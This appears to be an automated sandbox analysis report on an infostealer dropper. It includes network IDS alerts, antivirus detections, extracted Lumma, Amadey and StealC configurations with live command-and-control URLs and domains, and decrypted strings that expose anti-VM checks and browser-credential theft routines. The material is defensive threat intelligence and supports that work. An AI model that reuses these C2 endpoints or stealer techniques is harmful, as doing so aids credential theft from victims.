2024-11-01T08:51:47.720344+0100	2028371	3	Unknown Traffic	192.168.2.4	57873	188.114.96.3	443	TCP
2024-11-01T08:51:49.345183+0100	2028371	3	Unknown Traffic	192.168.2.4	57880	188.114.96.3	443	TCP
2024-11-01T08:51:52.023276+0100	2028371	3	Unknown Traffic	192.168.2.4	57891	188.114.96.3	443	TCP
2024-11-01T08:51:55.039127+0100	2028371	3	Unknown Traffic	192.168.2.4	57896	188.114.96.3	443	TCP
2024-11-01T08:51:58.784423+0100	2028371	3	Unknown Traffic	192.168.2.4	57902	188.114.96.3	443	TCP
2024-11-01T08:52:03.942950+0100	2028371	3	Unknown Traffic	192.168.2.4	57907	188.114.96.3	443	TCP
2024-11-01T08:52:06.566142+0100	2028371	3	Unknown Traffic	192.168.2.4	57909	188.114.96.3	443	TCP
2024-11-01T08:52:09.044899+0100	2028371	3	Unknown Traffic	192.168.2.4	57911	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T08:50:03.270919+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49730	188.114.96.3	443	TCP
2024-11-01T08:50:04.408513+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49731	188.114.96.3	443	TCP
2024-11-01T08:50:16.225867+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49737	188.114.96.3	443	TCP
2024-11-01T08:51:31.509128+0100	2054653	1	A Network Trojan was detected	192.168.2.4	57770	188.114.96.3	443	TCP
2024-11-01T08:51:32.860249+0100	2054653	1	A Network Trojan was detected	192.168.2.4	57778	188.114.96.3	443	TCP
2024-11-01T08:51:45.360277+0100	2054653	1	A Network Trojan was detected	192.168.2.4	57852	188.114.96.3	443	TCP
2024-11-01T08:51:48.258342+0100	2054653	1	A Network Trojan was detected	192.168.2.4	57873	188.114.96.3	443	TCP
2024-11-01T08:51:50.051831+0100	2054653	1	A Network Trojan was detected	192.168.2.4	57880	188.114.96.3	443	TCP
2024-11-01T08:52:09.342142+0100	2054653	1	A Network Trojan was detected	192.168.2.4	57911	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T08:50:03.270919+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49730	188.114.96.3	443	TCP
2024-11-01T08:51:31.509128+0100	2049836	1	A Network Trojan was detected	192.168.2.4	57770	188.114.96.3	443	TCP
2024-11-01T08:51:48.258342+0100	2049836	1	A Network Trojan was detected	192.168.2.4	57873	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T08:50:04.408513+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49731	188.114.96.3	443	TCP
2024-11-01T08:51:32.860249+0100	2049812	1	A Network Trojan was detected	192.168.2.4	57778	188.114.96.3	443	TCP
2024-11-01T08:51:50.051831+0100	2049812	1	A Network Trojan was detected	192.168.2.4	57880	188.114.96.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T08:50:02.639539+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49730	188.114.96.3	443	TCP
2024-11-01T08:50:03.947386+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49731	188.114.96.3	443	TCP
2024-11-01T08:50:05.246399+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49732	188.114.96.3	443	TCP
2024-11-01T08:50:06.995799+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49733	188.114.96.3	443	TCP
2024-11-01T08:50:08.561309+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49734	188.114.96.3	443	TCP
2024-11-01T08:50:10.063645+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49735	188.114.96.3	443	TCP
2024-11-01T08:50:11.570630+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49736	188.114.96.3	443	TCP
2024-11-01T08:50:15.715365+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49737	188.114.96.3	443	TCP
2024-11-01T08:51:30.241752+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	57770	188.114.96.3	443	TCP
2024-11-01T08:51:32.182926+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	57778	188.114.96.3	443	TCP
2024-11-01T08:51:33.834322+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	57789	188.114.96.3	443	TCP
2024-11-01T08:51:35.445774+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	57800	188.114.96.3	443	TCP
2024-11-01T08:51:36.813280+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	57806	188.114.96.3	443	TCP
2024-11-01T08:51:38.654431+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	57817	188.114.96.3	443	TCP
2024-11-01T08:51:41.081052+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	57834	188.114.96.3	443	TCP
2024-11-01T08:51:44.673212+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	57852	188.114.96.3	443	TCP
2024-11-01T08:51:47.720344+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	57873	188.114.96.3	443	TCP
2024-11-01T08:51:49.345183+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	57880	188.114.96.3	443	TCP
2024-11-01T08:51:52.023276+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	57891	188.114.96.3	443	TCP
2024-11-01T08:51:55.039127+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	57896	188.114.96.3	443	TCP
2024-11-01T08:51:58.784423+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	57902	188.114.96.3	443	TCP
2024-11-01T08:52:03.942950+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	57907	188.114.96.3	443	TCP
2024-11-01T08:52:06.566142+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	57909	188.114.96.3	443	TCP
2024-11-01T08:52:09.044899+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	57911	188.114.96.3	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T08:50:17.156493+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	49738	185.215.113.16	80	TCP
2024-11-01T08:51:46.838901+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	57863	185.215.113.16	80	TCP
2024-11-01T08:51:49.952658+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	57886	185.215.113.16	80	TCP
2024-11-01T08:52:10.258179+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	57914	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T08:51:31.508825+0100	2044696	1	A Network Trojan was detected	192.168.2.4	57773	185.215.113.43	80	TCP
2024-11-01T08:51:41.199211+0100	2044696	1	A Network Trojan was detected	192.168.2.4	57830	185.215.113.43	80	TCP
2024-11-01T08:51:48.922434+0100	2044696	1	A Network Trojan was detected	192.168.2.4	57879	185.215.113.43	80	TCP
2024-11-01T08:51:56.448720+0100	2044696	1	A Network Trojan was detected	192.168.2.4	57900	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T08:50:01.952115+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.4	63553	1.1.1.1	53	UDP
2024-11-01T08:51:29.584055+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.4	57021	1.1.1.1	53	UDP
2024-11-01T08:51:47.047574+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.4	63593	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T08:50:01.968520+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.4	63688	1.1.1.1	53	UDP
2024-11-01T08:51:29.595608+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.4	64564	1.1.1.1	53	UDP
2024-11-01T08:51:47.078510+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.4	52242	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T08:50:01.994185+0100	2057123	1	Domain Observed Used for C2 Detected	192.168.2.4	62907	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T08:50:01.936197+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.4	54420	1.1.1.1	53	UDP
2024-11-01T08:51:29.572020+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.4	50709	1.1.1.1	53	UDP
2024-11-01T08:51:46.985678+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.4	53909	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T08:50:01.983035+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.4	65019	1.1.1.1	53	UDP
2024-11-01T08:51:29.606568+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.4	50207	1.1.1.1	53	UDP
2024-11-01T08:51:47.089007+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.4	56720	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T08:50:10.505254+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49735	188.114.96.3	443	TCP
2024-11-01T08:51:34.436414+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	57789	188.114.96.3	443	TCP
2024-11-01T08:52:06.576498+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	57909	188.114.96.3	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T08:51:42.401937+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	57838	185.215.113.206	80	TCP
2024-11-01T08:51:55.828577+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	57898	185.215.113.206	80	TCP
2024-11-01T08:52:03.796373+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	57906	185.215.113.206	80	TCP
2024-11-01T08:52:10.580955+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	57913	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T08:51:06.167758+0100	2856147	1	A Network Trojan was detected	192.168.2.4	57639	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T08:51:29.874643+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	57653	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T08:51:09.525444+0100	2803305	3	Unknown Traffic	192.168.2.4	57660	185.215.113.16	80	TCP
2024-11-01T08:51:32.463672+0100	2803305	3	Unknown Traffic	192.168.2.4	57777	185.215.113.16	80	TCP
2024-11-01T08:51:42.107081+0100	2803305	3	Unknown Traffic	192.168.2.4	57840	185.215.113.16	80	TCP
2024-11-01T08:51:49.952658+0100	2803305	3	Unknown Traffic	192.168.2.4	57886	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000007.00000002.2005513502.0000000000A91000.00000040.00000001.01000000.0000000C.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 32.0.num.exe.160000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: 3e1d30d118.exe.7660.10.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["founpiuer.store", "fadehairucw.store", "crisiwarny.store", "necklacedmny.store", "presticitpo.store", "scriptyprefej.store", "navygenerayk.store", "thumbystriw.store"], "Build id": "4SD0y4--legendaryy"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe	ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1003125001\num.exe	ReversingLabs: Detection: 95%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.8% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1003125001\num.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 32.0.num.exe.160000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 32.0.num.exe.160000.0.unpack	String decryptor: 30
Source: 32.0.num.exe.160000.0.unpack	String decryptor: 11
Source: 32.0.num.exe.160000.0.unpack	String decryptor: 20
Source: 32.0.num.exe.160000.0.unpack	String decryptor: 24
Source: 32.0.num.exe.160000.0.unpack	String decryptor: GetProcAddress
Source: 32.0.num.exe.160000.0.unpack	String decryptor: LoadLibraryA
Source: 32.0.num.exe.160000.0.unpack	String decryptor: lstrcatA
Source: 32.0.num.exe.160000.0.unpack	String decryptor: OpenEventA
Source: 32.0.num.exe.160000.0.unpack	String decryptor: CreateEventA
Source: 32.0.num.exe.160000.0.unpack	String decryptor: CloseHandle
Source: 32.0.num.exe.160000.0.unpack	String decryptor: Sleep
Source: 32.0.num.exe.160000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 32.0.num.exe.160000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 32.0.num.exe.160000.0.unpack	String decryptor: VirtualFree
Source: 32.0.num.exe.160000.0.unpack	String decryptor: GetSystemInfo
Source: 32.0.num.exe.160000.0.unpack	String decryptor: VirtualAlloc
Source: 32.0.num.exe.160000.0.unpack	String decryptor: HeapAlloc
Source: 32.0.num.exe.160000.0.unpack	String decryptor: GetComputerNameA
Source: 32.0.num.exe.160000.0.unpack	String decryptor: lstrcpyA
Source: 32.0.num.exe.160000.0.unpack	String decryptor: GetProcessHeap
Source: 32.0.num.exe.160000.0.unpack	String decryptor: GetCurrentProcess
Source: 32.0.num.exe.160000.0.unpack	String decryptor: lstrlenA
Source: 32.0.num.exe.160000.0.unpack	String decryptor: ExitProcess
Source: 32.0.num.exe.160000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 32.0.num.exe.160000.0.unpack	String decryptor: GetSystemTime
Source: 32.0.num.exe.160000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 32.0.num.exe.160000.0.unpack	String decryptor: advapi32.dll
Source: 32.0.num.exe.160000.0.unpack	String decryptor: gdi32.dll
Source: 32.0.num.exe.160000.0.unpack	String decryptor: user32.dll
Source: 32.0.num.exe.160000.0.unpack	String decryptor: crypt32.dll
Source: 32.0.num.exe.160000.0.unpack	String decryptor: ntdll.dll
Source: 32.0.num.exe.160000.0.unpack	String decryptor: GetUserNameA
Source: 32.0.num.exe.160000.0.unpack	String decryptor: CreateDCA
Source: 32.0.num.exe.160000.0.unpack	String decryptor: GetDeviceCaps
Source: 32.0.num.exe.160000.0.unpack	String decryptor: ReleaseDC
Source: 32.0.num.exe.160000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 32.0.num.exe.160000.0.unpack	String decryptor: sscanf
Source: 32.0.num.exe.160000.0.unpack	String decryptor: VMwareVMware
Source: 32.0.num.exe.160000.0.unpack	String decryptor: HAL9TH
Source: 32.0.num.exe.160000.0.unpack	String decryptor: JohnDoe
Source: 32.0.num.exe.160000.0.unpack	String decryptor: DISPLAY
Source: 32.0.num.exe.160000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 32.0.num.exe.160000.0.unpack	String decryptor: http://185.215.113.206
Source: 32.0.num.exe.160000.0.unpack	String decryptor: bksvnsj
Source: 32.0.num.exe.160000.0.unpack	String decryptor: /6c4adf523b719729.php
Source: 32.0.num.exe.160000.0.unpack	String decryptor: /746f34465cf17784/
Source: 32.0.num.exe.160000.0.unpack	String decryptor: tale
Source: 32.0.num.exe.160000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 32.0.num.exe.160000.0.unpack	String decryptor: GetFileAttributesA
Source: 32.0.num.exe.160000.0.unpack	String decryptor: GlobalLock
Source: 32.0.num.exe.160000.0.unpack	String decryptor: HeapFree
Source: 32.0.num.exe.160000.0.unpack	String decryptor: GetFileSize
Source: 32.0.num.exe.160000.0.unpack	String decryptor: GlobalSize
Source: 32.0.num.exe.160000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 32.0.num.exe.160000.0.unpack	String decryptor: IsWow64Process
Source: 32.0.num.exe.160000.0.unpack	String decryptor: Process32Next
Source: 32.0.num.exe.160000.0.unpack	String decryptor: GetLocalTime
Source: 32.0.num.exe.160000.0.unpack	String decryptor: FreeLibrary
Source: 32.0.num.exe.160000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 32.0.num.exe.160000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 32.0.num.exe.160000.0.unpack	String decryptor: GetVolumeInformationA
Source: 32.0.num.exe.160000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 32.0.num.exe.160000.0.unpack	String decryptor: Process32First
Source: 32.0.num.exe.160000.0.unpack	String decryptor: GetLocaleInfoA
Source: 32.0.num.exe.160000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 32.0.num.exe.160000.0.unpack	String decryptor: GetModuleFileNameA
Source: 32.0.num.exe.160000.0.unpack	String decryptor: DeleteFileA
Source: 32.0.num.exe.160000.0.unpack	String decryptor: FindNextFileA
Source: 32.0.num.exe.160000.0.unpack	String decryptor: LocalFree
Source: 32.0.num.exe.160000.0.unpack	String decryptor: FindClose
Source: 32.0.num.exe.160000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 32.0.num.exe.160000.0.unpack	String decryptor: LocalAlloc
Source: 32.0.num.exe.160000.0.unpack	String decryptor: GetFileSizeEx
Source: 32.0.num.exe.160000.0.unpack	String decryptor: ReadFile
Source: 32.0.num.exe.160000.0.unpack	String decryptor: SetFilePointer
Source: 32.0.num.exe.160000.0.unpack	String decryptor: WriteFile
Source: 32.0.num.exe.160000.0.unpack	String decryptor: CreateFileA
Source: 32.0.num.exe.160000.0.unpack	String decryptor: FindFirstFileA
Source: 32.0.num.exe.160000.0.unpack	String decryptor: CopyFileA
Source: 32.0.num.exe.160000.0.unpack	String decryptor: VirtualProtect
Source: 32.0.num.exe.160000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 32.0.num.exe.160000.0.unpack	String decryptor: GetLastError
Source: 32.0.num.exe.160000.0.unpack	String decryptor: lstrcpynA
Source: 32.0.num.exe.160000.0.unpack	String decryptor: MultiByteToWideChar
Source: 32.0.num.exe.160000.0.unpack	String decryptor: GlobalFree
Source: 32.0.num.exe.160000.0.unpack	String decryptor: WideCharToMultiByte
Source: 32.0.num.exe.160000.0.unpack	String decryptor: GlobalAlloc
Source: 32.0.num.exe.160000.0.unpack	String decryptor: OpenProcess
Source: 32.0.num.exe.160000.0.unpack	String decryptor: TerminateProcess
Source: 32.0.num.exe.160000.0.unpack	String decryptor: GetCurrentProcessId
Source: 32.0.num.exe.160000.0.unpack	String decryptor: gdiplus.dll
Source: 32.0.num.exe.160000.0.unpack	String decryptor: ole32.dll
Source: 32.0.num.exe.160000.0.unpack	String decryptor: bcrypt.dll
Source: 32.0.num.exe.160000.0.unpack	String decryptor: wininet.dll
Source: 32.0.num.exe.160000.0.unpack	String decryptor: shlwapi.dll
Source: 32.0.num.exe.160000.0.unpack	String decryptor: shell32.dll
Source: 32.0.num.exe.160000.0.unpack	String decryptor: psapi.dll
Source: 32.0.num.exe.160000.0.unpack	String decryptor: rstrtmgr.dll
Source: 32.0.num.exe.160000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 32.0.num.exe.160000.0.unpack	String decryptor: SelectObject
Source: 32.0.num.exe.160000.0.unpack	String decryptor: BitBlt
Source: 32.0.num.exe.160000.0.unpack	String decryptor: DeleteObject
Source: 32.0.num.exe.160000.0.unpack	String decryptor: CreateCompatibleDC
Source: 32.0.num.exe.160000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 32.0.num.exe.160000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 32.0.num.exe.160000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 32.0.num.exe.160000.0.unpack	String decryptor: GdiplusStartup
Source: 32.0.num.exe.160000.0.unpack	String decryptor: GdiplusShutdown
Source: 32.0.num.exe.160000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 32.0.num.exe.160000.0.unpack	String decryptor: GdipDisposeImage
Source: 32.0.num.exe.160000.0.unpack	String decryptor: GdipFree
Source: 32.0.num.exe.160000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 32.0.num.exe.160000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 32.0.num.exe.160000.0.unpack	String decryptor: CoUninitialize
Source: 32.0.num.exe.160000.0.unpack	String decryptor: CoInitialize
Source: 32.0.num.exe.160000.0.unpack	String decryptor: CoCreateInstance
Source: 32.0.num.exe.160000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 32.0.num.exe.160000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 32.0.num.exe.160000.0.unpack	String decryptor: BCryptDecrypt
Source: 32.0.num.exe.160000.0.unpack	String decryptor: BCryptSetProperty
Source: 32.0.num.exe.160000.0.unpack	String decryptor: BCryptDestroyKey
Source: 32.0.num.exe.160000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 32.0.num.exe.160000.0.unpack	String decryptor: GetWindowRect
Source: 32.0.num.exe.160000.0.unpack	String decryptor: GetDesktopWindow
Source: 32.0.num.exe.160000.0.unpack	String decryptor: GetDC
Source: 32.0.num.exe.160000.0.unpack	String decryptor: CloseWindow
Source: 32.0.num.exe.160000.0.unpack	String decryptor: wsprintfA
Source: 32.0.num.exe.160000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 32.0.num.exe.160000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 32.0.num.exe.160000.0.unpack	String decryptor: CharToOemW
Source: 32.0.num.exe.160000.0.unpack	String decryptor: wsprintfW
Source: 32.0.num.exe.160000.0.unpack	String decryptor: RegQueryValueExA
Source: 32.0.num.exe.160000.0.unpack	String decryptor: RegEnumKeyExA
Source: 32.0.num.exe.160000.0.unpack	String decryptor: RegOpenKeyExA
Source: 32.0.num.exe.160000.0.unpack	String decryptor: RegCloseKey
Source: 32.0.num.exe.160000.0.unpack	String decryptor: RegEnumValueA
Source: 32.0.num.exe.160000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 32.0.num.exe.160000.0.unpack	String decryptor: CryptUnprotectData
Source: 32.0.num.exe.160000.0.unpack	String decryptor: SHGetFolderPathA
Source: 32.0.num.exe.160000.0.unpack	String decryptor: ShellExecuteExA
Source: 32.0.num.exe.160000.0.unpack	String decryptor: InternetOpenUrlA
Source: 32.0.num.exe.160000.0.unpack	String decryptor: InternetConnectA
Source: 32.0.num.exe.160000.0.unpack	String decryptor: InternetCloseHandle
Source: 32.0.num.exe.160000.0.unpack	String decryptor: InternetOpenA
Source: 32.0.num.exe.160000.0.unpack	String decryptor: HttpSendRequestA
Source: 32.0.num.exe.160000.0.unpack	String decryptor: HttpOpenRequestA
Source: 32.0.num.exe.160000.0.unpack	String decryptor: InternetReadFile
Source: 32.0.num.exe.160000.0.unpack	String decryptor: InternetCrackUrlA
Source: 32.0.num.exe.160000.0.unpack	String decryptor: StrCmpCA
Source: 32.0.num.exe.160000.0.unpack	String decryptor: StrStrA
Source: 32.0.num.exe.160000.0.unpack	String decryptor: StrCmpCW
Source: 32.0.num.exe.160000.0.unpack	String decryptor: PathMatchSpecA
Source: 32.0.num.exe.160000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 32.0.num.exe.160000.0.unpack	String decryptor: RmStartSession
Source: 32.0.num.exe.160000.0.unpack	String decryptor: RmRegisterResources
Source: 32.0.num.exe.160000.0.unpack	String decryptor: RmGetList
Source: 32.0.num.exe.160000.0.unpack	String decryptor: RmEndSession
Source: 32.0.num.exe.160000.0.unpack	String decryptor: sqlite3_open
Source: 32.0.num.exe.160000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 32.0.num.exe.160000.0.unpack	String decryptor: sqlite3_step
Source: 32.0.num.exe.160000.0.unpack	String decryptor: sqlite3_column_text
Source: 32.0.num.exe.160000.0.unpack	String decryptor: sqlite3_finalize
Source: 32.0.num.exe.160000.0.unpack	String decryptor: sqlite3_close
Source: 32.0.num.exe.160000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 32.0.num.exe.160000.0.unpack	String decryptor: sqlite3_column_blob
Source: 32.0.num.exe.160000.0.unpack	String decryptor: encrypted_key
Source: 32.0.num.exe.160000.0.unpack	String decryptor: PATH
Source: 32.0.num.exe.160000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
